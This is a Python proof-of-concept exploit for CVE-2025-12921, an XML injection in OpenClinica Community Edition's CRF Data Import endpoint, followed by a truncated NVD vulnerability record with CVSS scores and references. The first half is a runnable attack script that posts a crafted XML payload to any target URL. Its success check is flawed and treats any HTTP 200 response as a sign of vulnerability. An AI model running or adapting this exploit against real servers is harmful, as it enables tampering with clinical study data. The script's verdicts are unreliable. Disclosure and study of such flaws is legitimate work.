CVE-2025-12921

import requests import sys # CVE-2025-12921 XML Injection PoC # Target: OpenClinica Community Edition CRF Data Import # Endpoint: /ImportCRFData?action=confirm def exploit_xml_injection(target_url, xml_payload): """ Exploit XML injection vulnerability in OpenClinica CRF Data Import Args: target_url: Base URL of vulnerable OpenClinica instance xml_payload: Malicious XML content to inject Returns: Response from the server """ endpoint = f"{target_url}/ImportCRFData" # Prepare the injection payload # The xml_file parameter is vulnerable to XML injection data = { 'action': 'confirm', 'xml_file': xml_payload } try: response = requests.post(endpoint, data=data, timeout=30) return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-12921_poc.py <target_url>") print("Example: python cve-2025-12921_poc.py http://vulnerable-server:8080") sys.exit(1) target = sys.argv[1] # Basic XML injection payload - injects additional XML structure malicious_xml = '''<?xml version="1.0"?> <CrfData> <StudyOID>S_TEST</StudyOID> <MetaDataVersionOID>MV_001</MetaDataVersionOID> <SubjectData SubjectKey="SUBJECT_001" StudyEventOID="SE_VISIT1" StudyEventRepeatKey="1" FormOID="F_TEST" FormRepeatKey="1"> <ItemGroupData ItemGroupOID="IG_TEST" ItemGroupRepeatKey="1"> <ItemData ItemOID="I_TEST" Value="INJECTED_VALUE"> <injected_element>malicious_content</injected_element> </ItemData> </ItemGroupData> </SubjectData> </CrfData>''' print(f"[*] Targeting: {target}") print(f"[*] Sending XML injection payload to /ImportCRFData?action=confirm") print(f"[*] Payload length: {len(malicious_xml)} bytes") response = exploit_xml_injection(target, malicious_xml) if response: print(f"[+] Response Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)} bytes") # Check for signs of successful injection if 'error' not in response.text.lower() or response.status_code == 200: print("[!] Target may be vulnerable - XML injection executed") else: print("[-] Injection may have been blocked or caused an error") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-12921", "sourceIdentifier": "[email protected]", "published": "2025-11-10T00:15:44.943", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in OpenClinica Community Edition up to 3.12.2/3.13. Affected by this issue is some unknown functionality of the file /ImportCRFData?action=confirm of the component CRF Data Import. Such manipulation of the argument xml_file leads to xml injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-91"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-91"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclinica:openclinica:3.12.2:*:*:*:community:*:*:*", "matchCriteriaId": "EE82ACB7-759A-4C0F-95B9-396F2BE160A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openclinica:openclinica:3.13:*:*:*:community:*:*:*", "matchCriteriaId": "290F6C64-EAB4-488F-BFF0-77B0682BD1CF"}]}]}], "references": [{"url": "https://github.com/mikecole-mg/security_findings/blob/main/openclinica/openclinica-xxe.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/mikecole-mg/security_findings/blob/main/openclinica/openclinica-xxe.md#poc", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.331641", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.331641", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB En ... (truncated)